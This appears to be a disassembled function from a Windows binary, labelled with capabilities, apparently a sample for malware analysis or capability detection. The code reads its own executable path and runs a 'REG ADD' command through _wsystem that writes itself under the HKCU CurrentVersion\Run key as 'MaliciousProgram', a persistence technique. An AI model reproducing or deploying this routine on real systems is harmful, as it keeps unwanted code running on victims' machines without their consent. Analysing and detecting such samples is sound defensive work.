Function at 0x140001250
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor r14d, r14d
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp - 0x60]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], r14w
jne 0x1400012b6
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140001668
cmp rbx, 7
ja 0x140001306
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x30], r14w
jmp 0x1400013b8
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140001322
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x140001354
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000166e
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001380
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000166e
mov rcx, rax
call fcn.140001c10
test rax, rax
je 0x1400015d6
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001392
test rcx, rcx
je 0x14000138f
call fcn.140001c10
mov rdi, rax
jmp 0x140001392
mov rdi, r14
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r14w
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 0x6a
jb 0x14000146b
lea rax, [r8 + 0x6a]
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x30]
cmp rcx, 7
cmova rdi, qword [rsp + 0x30]
lea rax, [0x140003664]
lea rsi, str.REG_ADD_HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun__v_MaliciousProgram__t_REG_SZ__d__
cmp rax, rdi
jbe 0x14000141b
lea rax, [rdi + r8*2]
cmp rsi, rax
ja 0x14000141b
cmp rdi, rsi
ja 0x140001410
mov rbx, r14
jmp 0x140001420
mov rbx, rdi
sub rbx, rsi
sar rbx, 1
jmp 0x140001420
mov ebx, 0x6a
lea rcx, [rdi + 0xd4]
lea r8, [r8*2 + 2]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
add rbx, rbx
mov r8, rbx
mov rdx, rsi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 0xd4
sub r8, rbx
lea rdx, [rsi + 0xd4]
add rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x140001481
mov ebx, 0x6a
mov qword [rsp + 0x28], rbx
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140001a30
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x1400014fc
lea rax, [rcx + 4]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 7
cmova rax, qword [rsp + 0x50]
movabs rdx, 0x66002f00200022
mov qword [rax + rcx*2], rdx
mov word [rax + rcx*2 + 8], r14w
lea rax, [rsp + 0x50]
jmp 0x140001514
mov qword [rsp + 0x20], 4
mov edx, 4
lea rcx, [rsp + 0x50]
call fcn.140001850
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140001589
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001584
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001584
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c4c
movdqa xmm0, xmmword [0x1400037b0]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r14w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400015e2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c4c
lea rcx, [rsp + 0x78]
cmp qword [rbp - 0x70], 7
cmova rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14000163c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001637
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001637
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001c4c
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140001bf0
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1400011a0
int3
call fcn.140001100
int3